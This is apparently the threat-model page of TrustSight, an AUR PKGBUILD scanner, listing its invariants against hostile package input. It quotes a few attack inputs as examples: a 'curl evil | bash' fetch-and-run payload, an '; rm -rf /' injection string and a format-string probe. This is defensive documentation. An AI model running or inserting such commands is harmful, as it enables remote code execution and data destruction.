Skip to content

Part A: TrustSight as a program under attack

The adversary

TrustSight reads PKGBUILDs from the AUR. The AUR is an unmoderated, user-submitted package repository: anyone can publish, and a package can be modified by whoever maintains it. So the model assumes the strongest realistic adversary for this position:

The attacker controls, entirely and with foreknowledge of this source code, every byte of every artifact TrustSight reads about a package. That includes the PKGBUILD, the .install hook, every other file in the repository, the package name, the maintainer name, the version strings, the commit metadata, the commit timestamps, and the AUR metadata entry.

The attacker also knows which rules exist, what they match, and what they do not. Detection is calibrated, published, and therefore evadable; see what TrustSight cannot see. Part A is not about whether an attack is detected. It is about what the attacker can do to the machine running TrustSight, and the answer must be "nothing", detection or no detection.

The trust boundary

Input Trusted? Why
PKGBUILD, .install, repository tree, package and maintainer names, versions, commit metadata No Written by the party under review.
The AUR metadata dump and the git repository at aur.archlinux.org Transport only The host is fixed and reached over TLS. Its contents are attacker-authored and are treated as hostile input.
config.toml, rules.toml, hosts.toml, patterns.toml, naming.toml, thresholds.toml, iocs.toml, overrides.toml Yes Local files owned by the operator. Editing them is a supported way to tune the tool. iocs.toml here is the legacy exact-match list for H056; the IOC federation baselines are separate (A13b).
The novelty seed Verified, conditionally No longer bundled in the package: it is fetched from the release channel and imported only when its detached signature verifies against the pinned distribution key. On machines without the seed it is simply absent, and first runs degrade to cold start instead of importing something unverified. The build procedure and the way the digest is checked are in seed provenance. It carries no plaintext identity (P1).
Release-channel assets (baseline-*) Verified, conditionally Downloaded from the declared release endpoint only, with a byte cap applied while downloading. The detached Ed25519 signature then verifies against the pinned distribution key before the payload is parsed, imported, or used; verification failure is a refusal.
A seed or baseline given on the command line Operator's decision Passing a path is an explicit act of trust. The baseline importer verifies a signature; the seed importer records the digest of what was imported.
A file passed on the command line Operator's decision seed-db --file and lint-rules --file may read an explicit relative or absolute path. Config and snapshots otherwise resolve under the config directory.

The invariants

A1. The input is not code. There is no eval, no exec, no os.system, no shell=True, and no unpickling anywhere in the source. Subprocesses are spawned only to ask the local pacman about installed packages and repository lists, to read the local repository configuration with pacman-conf, and to compare versions with vercmp. Argument lists are always a list, never a string, so there is no shell to inject into.

vercmp deserves stating out loud, because it is the one place in A1 the guarantee is a validation rather than a structural property. pacman calls take -- to end option parsing. vercmp has no --, and its two arguments are version strings that came from the AUR, so they are attacker-influenced: a package publishing the version -h would otherwise put a flag on a command line. The guard is therefore the shape of the argument, checked before the spawn:

_VERSION_ARG_RE = re.compile(r"^[A-Za-z0-9._+~:][A-Za-z0-9._+~:-]*$")

A pacman version is [epoch:]pkgver[-pkgrel], so the permitted set is letters, digits, and . _ + ~ : -, and the first character may not be -. Anything that fails this never reaches a command line: it is compared in-process by _simple_vercmp instead. When pyalpm is installed, no subprocess is spawned at all and the comparison happens in-library.

The residual risk is that the shape check is an allowlist, and an allowlist can be wrong. It is tested against both directions (real versions like 1:1.1.1w-1 must pass, -h, --help, ; rm -rf / and the empty string must fail), and passing it buys an attacker one vercmp argument out of a character set with no shell metacharacters in it.

A2. The URLs a package declares are never fetched. Downloading what a PKGBUILD points at would make every reviewer an SSRF probe, would tell the attacker exactly who is inspecting them, and would turn a review into a denial-of-service amplifier.

The analysis package is not transport-free, and it is worth being exact about what it does reach. analysis/pipeline.py imports fetcher and calls clone_or_fetch to obtain the package's own AUR repository, which is how the diff exists at all. What holds is narrower than "no transport": every fetch helper the analysis package may import is keyed by package name or commit id, never by URL. A source= entry is parsed, classified and scored, and there is no function in reach that would take it. So reaching the network requires naming a package, and the host is then the A3 AUR constant; the release channel is a separate module the analysis package never imports.

That is enforced rather than asserted: the gate parses every module under src/trustsight/analysis/ and fails if any imports a raw transport library (urllib.request, http.client, socket, requests, httpx, ftplib), and it checks every name imported from a fetch module (fetcher, discovery, full_aur.fetch, full_aur.metadata) against a name-keyed allowlist so a URL-taking helper cannot be pulled in. Adding such a helper to that allowlist is the change that would reintroduce SSRF, and it fails the gate.

A3. Declared network hosts. Every endpoint is a literal constant: https://aur.archlinux.org (the RPC, the metadata dump, the git clone, and cgit), plus the GitHub release channel at https://api.github.com for baseline-release discovery and https://github.com/emiliano-go/trustsight/releases for assets. Release access is confined to release.py, only reaches baseline-* assets, and occurs only on explicit commands or the first-run auto-import of a missing seed. TrustSight never connects to a host named by the package under review, and the release host is unreachable from analysis: release.py is in the fetch-module allowlist that nothing under analysis/ may import. The analysis itself is local and deterministic, as the thesis describes; fetching is a separate stage, and a release download that does not verify against the pinned key is refused, never imported.

Cloning executes nothing. Repositories are fetched through pygit2 (libgit2) with a working tree, because the diff is computed against the fetched checkout; libgit2 runs no git hooks on clone, and TrustSight configures no clean, smudge or fsmonitor filter, the git-config-driven paths where a fetch can otherwise become an execution. This documents a property the library already has rather than a control this project adds; per the assumptions, a compromised pygit2 is outside the model.

A4. Every read is bounded. Every request has a timeout. Every response has a byte cap, the AUR RPC included: discovery._load_rpc_json reads at most _MAX_RPC_BYTES (64 MiB) before parsing, and a reply past the cap is caught and degrades to "query failed" rather than being buffered into json.load, so a hostile or malfunctioning endpoint cannot exhaust memory even though the RPC returns metadata rather than content a rule matches. The metadata dump has its own 512 MiB response cap and a 1 GiB decompression ceiling (full_aur.metadata). Decompression is capped before it is materialised, tar members are walked lazily with a ceiling, the seed import refuses to expand past its limit, and the diff is truncated at a configured size. Release assets are downloaded with the release._MAX_RELEASE_BYTES (512 MiB) cap, then their detached signatures are verified before parsing, importing, or using their payloads. A remote end never decides how much of this machine's memory or time to use.

Two of those bounds are worth stating separately, because in both cases an earlier check looked like the bound and was not.

A read with no size is the other end choosing the size. Reading a tar member with a bare read() allocates whatever the member's header declares, and that header is written by the party under review. The response cap upstream does not help, because it applies to the compressed body: gzip on compressible content runs to about a thousand to one, so 32 MiB on the wire is tens of gigabytes of member. Every read of a stream therefore carries a size, and a read without one is refused by a gate over the whole source rather than by an audit of the call sites known today. The ceilings are full_aur.fetch.MAX_TAR_MEMBER_BYTES for a snapshot member and db.MAX_SEED_MEMBER_BYTES for a seed archive member; the latter tightens a total-size check that already bounded the archive as a whole, so that no single member can claim the whole budget at once.

An artifact is bounded before it is verified, not after. A signature is computed over the bytes of the thing it signs, so verification cannot run until those bytes are read: a bound placed after the check guards nothing, and the same holds for a digest recorded for attribution (A12) and for a decompression cap that only ever sees an already-materialised buffer. The reads that precede a check are bounded by ioc_baseline.MAX_BASELINE_BYTES, full_aur.export.MAX_ARTIFACT_BYTES and db.MAX_SEED_BYTES.

Both refuse rather than truncate. A truncated read is a complete-looking one with its tail quietly removed, which is the seam A5 and A6 already refuse for the same reason. An over-cap seed or baseline aborts its import. An over-cap snapshot member is declined and the fetch falls back to the cgit text path, which means the analysis still produces a result - so that refusal is recorded as the snapshot_refused coverage gap and everything in B2 then applies: the run cannot report UNFLAGGED, and the gap is shown with the band.

full-aur and full-aur --watch change the volume of this, not its shape. A watch loop makes many requests to the one host in A3 over hours or days, so the bounds above are per-request and the loop adds two of its own: a configured interval with a 60-second floor, and an optional cycle count. Each cycle is an ordinary analysis; nothing about running on a timer relaxes A1 through A13.

Source URLs are bounded before they are classified. A hostname's real limits are DNS's - 253 bytes and 127 labels - and classification walked every label and computed every parent domain, which is quadratic in label count: one 8 KiB host of dots cost 421 ms, and with MAX_URLS_PER_SIDE allowing 4,096 URLs a single package could spend around half an hour there. buckets.MAX_HOST_BYTES and MAX_HOST_LABELS bound it, and labels are dropped from the left so the registrable domain - the part every classification decision reads - survives. Truncating rather than refusing is deliberate: refusing an over-length host would let a homograph domain be padded past the check.

A4b. The differ and companion reads are bounded. The differ has its own local bounds, and they bound what is allocated rather than what is kept. patch.text materialises a whole patch, so the cap that matters runs before that call: a delta whose declared file size on either side exceeds differ.MAX_PATCH_SOURCE_BYTES is skipped without its text ever being requested, which is the only bound available ahead of the allocation. A patch is at most the changed lines plus context, so a file small on both sides cannot yield a large one. Text that is read is then capped at MAX_PATCH_BYTES, the retained total at MAX_GENERATED_DIFF_BYTES, the number of patches visited at MAX_DIFF_PATCHES, and the summary at MAX_DIFF_SUMMARY_FILES - the summary walks every delta regardless of the text cap, so a wide repository would otherwise choose the size of a stored fact_json. Companion discovery is bounded the same way: the PKGBUILD blob's size is checked before blob.data is touched (MAX_PKG_BUILD_BYTES), the tree walk that selects companions stops at MAX_COMPANION_TREE_ENTRIES, and a referenced basename past MAX_COMPANION_NAME_BYTES, or carrying any path structure, is refused rather than rendered into a hunk header. The generator returns its own truncation flag rather than letting the caller infer one: a patch it declined to retain leaves the assembled text at or under the cap, so measuring that text would report a complete analysis while content had been skipped, which is the silent skip B2 forbids. Policy omission is not truncation - a .png the filter never reads leaves nothing unexamined, while a .install dropped at a cap does, and only the second sets the flag. What these bounds do not cover is libgit2's own diff construction: repo.diff() builds the diff object before any of this runs, and its cost is a property of the repository rather than of TrustSight. That sits inside the dependency assumption - pygit2 is trusted substrate - and it is stated here rather than implied, because the bounds above are on what this program allocates and it would be easy to read them as more. Companion files are capped at MAX_COMPANION_BYTES and MAX_COMPANION_FILES; paths and extracted URL tokens have fixed byte/count limits. Companion blobs are size-checked before their bytes are read. URL lists and file-change summaries are sorted before reporting, so repository traversal order cannot change a result. Malformed hunk headers and content outside a valid hunk are ignored rather than mapped to a fabricated location. If the pipeline's combined diff cap truncates output, diff_truncated remains a visible coverage gap and the result cannot read as clean.

A4c. API inputs are bounded. The public API applies equivalent input bounds before initialization: package and indicator names are capped at 256 UTF-8 bytes, PKGBUILD and metadata text at 5 MiB, repositories at 256 names, and package/history collections at 10,000 entries. Invalid types, booleans used as numeric limits, negative values, and oversized inputs fail with ValueError before database or network work.

There is deliberately no hook, callback, or notification command: nothing in TrustSight spawns an operator-supplied program, with or without findings on stdin. That is worth stating because it is a natural thing to want from a watch loop, and a natural thing to add carelessly. If it is ever added it belongs in this part with its boundary written down, because such a hook would receive attacker-influenced JSON (package names, maintainer names, quoted evidence) and the operator's script would own what happens next. Today the only subprocesses are the pacman, pacman-conf and vercmp calls in A1.

A5. Matching is bounded, and the bound is recorded. Rule patterns are regexes running over attacker-written text, so the input is clamped to rules.MAX_RULE_LINE_BYTES (8 KiB) per line before matching. That bounds every pattern at once, including ones added later, in a way that no per-pattern audit can.

The clamp applies to both rule engines. The patterns in rules.toml go through apply_rules; the larger set emitted from analysis/ matches the diff text directly, and rules.clamp_text bounds that text before it gets there. That distinction is not cosmetic: while only the first was clamped, one 5 MiB line cost 0.17s through apply_rules and 15s through the code-emitted rules.

A clamp is also a truncation seam: a payload placed past byte 8192 of a single line is not matched. A bound that silently drops content is exactly the class of skip B2 exists to prevent, so it does not stay silent. A diff containing any over-length line records the line_truncated coverage gap, and everything in B2 then applies: the run cannot report UNFLAGGED, and the gap is shown with the band. Lines are joined across backslash continuations before this is measured, so the limit applies to the logical line an attacker actually controls.

Two hostile shapes cost differently, and the gate measures both. One enormous line is cheap, because the clamp cuts it to 8 KiB before any pattern runs. The same byte budget spread over many lines pays the whole ruleset per line, and is the more expensive shape by a wide margin - measuring only the first left the second unmeasured. Both are bounded by [diff] max_diff_bytes, and a diff that reaches it records diff_truncated; the ceiling on the many-line probe exists to catch a rule turning accidentally quadratic, which is the regression that would make an ordinary diff expensive.

The current runtime uses Python's standard re module. This is a deliberate dependency boundary: the input clamp is applied before both TOML-configured and code-emitted patterns, and the security gates exercise adversarial matching time. The project does not claim that input clamping proves every pattern is linear. The next regex hardening step is comparative: audit the shipped and configured patterns, add per-pattern adversarial cases, and benchmark the standard engine against a bounded alternative before changing the runtime dependency. A replacement such as the third-party regex package is not an automatic improvement; it expands the trusted dependency set and must first demonstrate lower worst-case cost, compatible syntax, deterministic behavior, and acceptable packaging and maintenance risk.

At runtime, a configured rule pattern that exceeds the bounded adversarial probe budget is refused by the rule compiler and contributes no finding. This is a fail-closed safety decision for the pattern, not a claim that the rule matched cleanly. The configured rules remain subject to the rule linter, while the source and dynamic pattern families remain covered by the repository-wide audit gate. The optional comparison tool is scripts/benchmark_regex_engines.py; it reports that regex is unavailable unless the operator installs it separately, so the production dependency set does not change as part of benchmarking.

A6. Expansion is bounded and never indirect. The tokenizer resolves shell variables so that a payload assembled from C=curl; $C evil | bash still reaches the rules. That makes it the second parser eating hostile input, and the one with an amplification property the regex engine does not have: b=$a$a doubles per level, so a chain of them grows as 2**depth, and a 517-byte PKGBUILD was once enough to OOM the process. Four bounds apply: _MAX_EXPANSION_PASSES (16 rewrites, each resolving one innermost ${...}), _MAX_VALUE_LEN (8 KiB for one value), _MAX_LINE_LEN (64 KiB for one resolved line), and _MAX_TABLE_BYTES (1 MiB for the variable table as a whole).

The important half is what happens at the bound. A value that would exceed the bound is left unexpanded and never truncated. An unexpanded $payload is reported as an unresolved pattern; a truncated one would look like a fully resolved string with its tail quietly removed, which is the same failure mode as A5's seam and is refused for the same reason.

Two forms are never resolved at all: indirect expansion ${!name}, which would let a value choose which variable is read, and length ${#name}. Both return unresolved rather than a guess.

Line continuations are joined before any of this runs, and they are joined verbatim. A backslash-newline is removed by the shell rather than being whitespace, so cur\ followed by l ... is curl ...; joining with an inserted space produced cur l ..., which splits a command name into two words and hides it from every rule that matches one. Indentation on the continuation line is kept as written, so arguments stay separated. There are two joiners - one for the coverage path and an indexed one the rule path uses - and they must agree, because a diff read two ways is a diff one of them reads wrongly.

A7. Rendering data is data. A finding's plain-English text is a template keyed by rule id, filled with named fields from the finding's evidence. Field values are substituted, never re-expanded and never evaluated: a value with {0.__class__} renders as those characters. No template is ever drawn from package-controlled text, and a template missing a field falls back to the finding's reason instead of raising, so one malformed finding cannot abort a batch.

No language model renders a verdict. Rendering is deterministic and local, which is a security property rather than a stylistic one: it gives the output path no network dependency, no nondeterminism, and no prompt-injection surface. There is no model in this program for a package to talk to. R012 still detects injection aimed at whoever reads the diff, because the target of that attack is the human reviewer.

A8. No archive member is written to a path the archive chose. Snapshot tarballs - the ones carrying package-controlled content - are walked in memory, member by member, and nothing from them is written to disk at all: for that surface there is no path-traversal question because there is no extraction.

One archive is written to disk, and pretending otherwise would be the kind of gap this page exists to close. A v2 seed archive is expanded by db._extract_v2_archive, because the importer reads a directory of files. It is not handed to extract() or extractall(): each member is checked before it is written, and the checks are the containment. A member whose name is absolute or contains .. is refused, as is any symlink, hardlink, device or FIFO member, so the destination is the only place a write can land. The member count and the archive's total declared size are bounded (MAX_SEED_MEMBERS, MAX_SEED_BYTES), and each member is bounded again as it is read (MAX_SEED_MEMBER_BYTES). What the gate enforces is the narrow, precise thing: no member's own name is ever passed to an extractor. Note what this does not rest on - the trust anchor for a seed is A12, which bounds what an imported seed may write to the database whatever the archive contained.

A9. SQL is parameterised. Every value reaches SQLite as a bound parameter. The only interpolation into statement text is an identifier drawn from a literal list in the same module, because SQLite cannot bind a table name.

A10. Output is inert. Package names, maintainer names, file paths, and quoted evidence are attacker-controlled and are printed to a terminal. Before rendering, they pass through trustsight.safe_text.clean, which removes ANSI and OSC escape sequences, C0 and C1 control bytes, and DEL, and through safe_markup where the value is interpolated into Rich console markup. A package cannot repaint the screen to forge a verdict, cannot recolour a row, and cannot abort the render of a batch with an unbalanced markup tag. Stored evidence and JSON output are left byte-exact: sanitising happens at the point of rendering, not in the analysis.

Sanitisation removes control sequences; it does not transform confusable characters. A package or maintainer name built from homoglyphs (a Cyrillic a in an otherwise-Latin name) renders as the characters it contains, because rewriting an identifier would misrepresent what is actually installed. Name-level confusability is a detection concern, handled by rules over the name, not a rendering one. A10 guarantees the terminal cannot be driven; it does not guarantee a name reads the way it looks.

A11. Unless a local marker says otherwise, age is local. A maintainer-supplied timestamp cannot convince the tool that a stale local copy is current. Recency is anchored to markers TrustSight controls: the time the local clone was last fetched (fetcher.last_fetch_time, recorded on this machine), and the observation timestamps in the local database. A package's declared dates (the # Maintainer line, a pkgver that encodes a date, the AUR LastModified the RPC reports) are treated as package-controlled input, so they can be read and compared but never override a local marker to make a stale checkout look freshly current.

A12. A seed cannot rewrite the database. The novelty seed is additive and can never overwrite a row learned from a real analysis, only set the two metadata keys it owns, and cannot raise a locally learned maintainer count. Its SHA-256 and origin are recorded on import. It can only make something look more familiar, which can lower a novelty flag but can never raise a score.

No seed ships inside the package. A seed carried in the AUR package would take its trust anchor from the very channel under analysis, which is circular. The seed is published on the release channel instead and its detached signature is verified against the pinned distribution key (A13) before any of it is parsed, so its origin is authenticated rather than assumed, and a download that does not verify is refused. The recorded SHA-256 and origin remain the attribution record: they say what was imported. How the seed is built, and how a third party can reproduce and audit it, are documented in seed provenance.

A13. A baseline supplies state, not rules. A corpus baseline is a larger version of the same trust decision. It is signature-verified against a pinned public key, its metadata snapshot rides outside the signed payload and is re-hashed against the signed hash on import (so a validly-signed artifact cannot be re-published with someone else's AUR metadata attached), and an unsigned import requires --allow-unsigned and is logged as local-only.

A distribution key is pinned, so signed import works. The shipped full_aur/baseline_pubkey.pem holds the 32 raw bytes of the release Ed25519 public key, whose identity is recorded in baseline keys. This is a centralized trust anchor: every release-channel seed, corpus baseline, and transport signature is accepted because it verifies under this one pinned key. A baseline built and signed with the maintainer's private key (trustsight full-aur --export <artifact> --sign <key>) imports and verifies against it; a baseline you built yourself but did not sign still imports with --allow-unsigned. A build that ever ships a non-key file in that path refuses with a distinct NoTrustedKeyError that says the build pins no key, rather than the signature error that would accuse a valid artifact of being forged. The private key never enters the repository. The baseline release workflow receives it through the BASELINE_SIGNING_KEY CI secret to sign release assets.

Key compromise and rotation. There is no in-band revocation: a compromised current key can sign artifacts that existing releases will accept until operators install a release that pins a replacement public key. On suspected compromise, maintainers must immediately disable or replace BASELINE_SIGNING_KEY, stop publishing baseline assets under the old key, generate a replacement key, ship and announce a software release containing its public key and fingerprint, then publish a newly signed baseline family only after users can verify that release. Operators should upgrade to that release before fetching more baselines, retain the affected baseline tag and imported seed_sha256 for investigation, and re-import a replacement baseline if the prior is no longer trusted. The detailed maintainer procedure is in Publishing Baselines.

The bound matters more than the signature, because a signature says who built the artifact, not that the contents are honest. A baseline writes exactly three things: package profiles, PKGBUILD snapshots, and the metadata snapshot. It cannot change a rule, a pattern, a severity, a weight or a threshold, and it executes nothing. So the worst thing a hostile-but-validly-signed baseline can do is A12's attack at corpus scale: supply a prior that makes the present look unexceptional, reducing novelty and longitudinal signals across many packages at once. What it cannot do is make a rule stop matching. Import a baseline from a corpus you would trust.

A13b. An IOC baseline is attribution, not aggregation. This is a specialization of A13 for the IOC federation layer: an IOC baseline supplies state, not rules, exactly as A13 requires, and A13b adds what an indicator baseline must also guarantee. An IOC baseline is an inventory of known-bad artifacts (domains, file hashes, package names), imported and signature-verified exactly like the corpus baseline above: Ed25519 over manifest.json concatenated with iocs.jsonl, --allow-unsigned for a local build, replaced per source and idempotent. Two properties make it safe to state a definitive finding on. First, every match names the curator that flagged the artifact, so it is never merged into an anonymous set: the report says who called it bad and points at the incident and the evidence, which is what makes an IOC an attribution the reviewer can check rather than a verdict they must take on faith. Second, an IOC match is detection, not inference, so it is deliberately kept out of the score: matches ride on PackageFact.ioc_matches, never score_breakdown, and the same PKGBUILD scores identically whether or not an indicator hits. An IOC cannot be downgraded by a coverage gap, a positive-evidence finding or an override, and an expired indicator is reported as expired rather than silently dropped, so a lapsed indicator never reads as a clean bill. The baseline layer supplies the indicators; it still cannot change a rule, a weight or a threshold.

P1. The novelty seed carries no recoverable identity. The seed is built from ~36k maintainer names and emails scraped from AUR git history, which is third-party personal data the tool would otherwise redistribute in the clear. Names and emails are stored only as salted SHA-256 hashes; the salt is per-seed and travels in seed_meta, so a precomputed table buys nothing and the raw identity is not recoverable from the shipped artifact. The hash preserves exactly the signal the novelty and maturity models need ("is this maintainer new", "how many packages has this identity touched") and nothing more. The value is normalised (strip().lower()) at one hashing chokepoint, so the seed build, the plaintext-to-hashed migration and every runtime lookup agree on what a maintainer's hash is; an old plaintext seed is migrated on first run and its table renamed to maintainers_deprecated_backup. This is a privacy invariant rather than an attack-surface one: it constrains what the tool distributes about people, and A12 still bounds what the seed may write.

MAX_RULE_LINE_BYTES and rules.MAX_SCANNED_LINES are the two halves of A5 and neither is sufficient alone: the first bounds how long a line may be, the second how many there are. Only the first existed for a long time, and rule matching costs roughly 0.46 ms per line, so a 5 MiB diff of four-byte lines was about 1.3 million lines and ten minutes of CPU for a single package - multiplied again by depth.MAX_DEPTH_NODES on a full-depth walk. The cap is 20,000, five times the largest diff in the locked benign corpus (3,839 lines, p99.9 of 2,117), so it truncates nothing real.

A14. An attacker cannot force unbounded resource use in TrustSight-controlled paths. A4 bounds what arrives, A5 bounds what is matched, A6 bounds what is expanded. Together: no TrustSight-controlled input path decides how much CPU, memory, network or disk this process consumes. Every bound is a constant in the source rather than a function of the input, and every bound that drops content records a coverage gap, so bounded never means silently truncated. What these bounds do not cover is libgit2's own diff construction (repo.diff() builds the diff object before any of this runs, and its cost is a property of the repository rather than of TrustSight; see A4b).

That last clause is what makes A14 more than a summary of the three. It ties the resource guarantee to B2, so a bound can never be used as a quiet skip.

A bound on an input is not automatically a bound on what the input becomes. This is the way A14 has failed in practice, and each instance looked adequate in isolation:

The cap What it did not bound
full_aur.metadata.MAX_DECOMPRESSED_BYTES Serialised JSON parses into Python objects at roughly JSON_OBJECT_AMPLIFICATION (6x), so a byte ceiling is a sixth of a memory ceiling.
ioc_baseline.MAX_BASELINE_BYTES The number of entries those bytes become; MAX_BASELINE_ENTRIES bounds the objects.
The 120-second clone deadline in fetcher Bytes. A deadline on a fast link is gigabytes onto the disk, which is what MAX_TRANSFER_BYTES bounds.
fetcher.MAX_TRANSFER_BYTES Itself times depth.MAX_DEPTH_NODES. Two caps that each look sufficient compose to their product, so MAX_TOTAL_TRANSFER_BYTES charges the run rather than the repository.
Nothing at all Commit count. Repository history is authored by the party under review, and three walks ran it to exhaustion; fetcher.walk_bounded is now the single implementation, asserted by test.

Deriving a bound from the resource it is meant to protect, rather than from the wire format in front of it, is the general form of the fix.

There is no GPU or accelerator bound because there is no such code: nothing in the tree imports CUDA, PyTorch, OpenCL or NumPy, and analysis is regex and string work on the CPU. The axis is empty rather than unbounded.

A15. An audit does not warm state. Analysing a package the operator has not installed is read-only against the observation database unless --record is passed. A run cannot make an artifact look familiar as a side effect of having been examined. This bounds the self-inflicted variant of the state-poisoning class the adversary section names: novelty and maturity read accumulated history, and if auditing an uninstalled package recorded its URLs, hosts and maintainer identity, then every audit would warm local state using artifacts the operator went looking at because they were suspicious of them. Infrastructure seen once during an audit would read as established the next time it appeared under a package they do install.

The connection is opened with the SQLite read-only URI (mode=ro), not by routing writes to a no-op. Schema migration runs first on a short-lived read-write connection; the analysis connection is then opened ro. A gate asserts the connection mode rather than auditing call sites, the same reasoning as every stream read is bounded.

Consequence: a package with no local observations has maturity 0, so by B3 a Medium-band score with no HIGH-or-worse finding renders Inconclusive, not Low. The remedy is a warm corpus baseline (A13), which is exactly what baselines are for; it is not a lower maturity threshold and not a maturity exemption for this code path.

What this part does not protect

  • Building the package. TrustSight never runs a PKGBUILD. Once you type makepkg, you are outside this model entirely.
  • The dependencies TrustSight itself installs. pygit2, rich, typer and tldextract are third party code in this process. The PSL data tldextract uses is pinned and read offline, but the libraries are a supply chain this project consumes and does not audit. SQLite is trusted the same way: every value reaches it through a parameterised statement (A9), but a compromised SQLite is a compromised database, and this model assumes it is not. The complete dependency boundary is stated in the thesis assumptions, together with the SBOM and advisory reporting that makes the boundary observable without pretending it is closed.
  • TrustSight's own distribution. TrustSight ships as an AUR package, built from a fixed tag with a checksum in the recipe. It is subject to the same threat it describes. Verify the tag.

Known architectural limits. The dependency boundary above is the largest of them, and it is stated here as accepted and tracked, not as solved: a tool whose whole job is reading untrusted text parses, renders and stores that text through third-party code it does not audit, and shrinking that surface is an architectural change, not a hardening patch. Two evolutions are on record as candidates: a sandboxed tokenizer, so the second parser eating hostile input (A6) runs with fewer privileges than the analysis it feeds, and a subprocess-isolated renderer, so a defect in the rendering stack (A7, A10) cannot reach the database or the network. The first is analysed in sandboxing the tokenizer, which sets out what isolation would and would not buy, what it would cost, and the conditions under which it should be built; the second is argued there to be not worth doing. Neither is scheduled, and no immediate action is required - the assumption is named, the boundary is published, and the invariants above hold within it. If either lands, this page changes with it.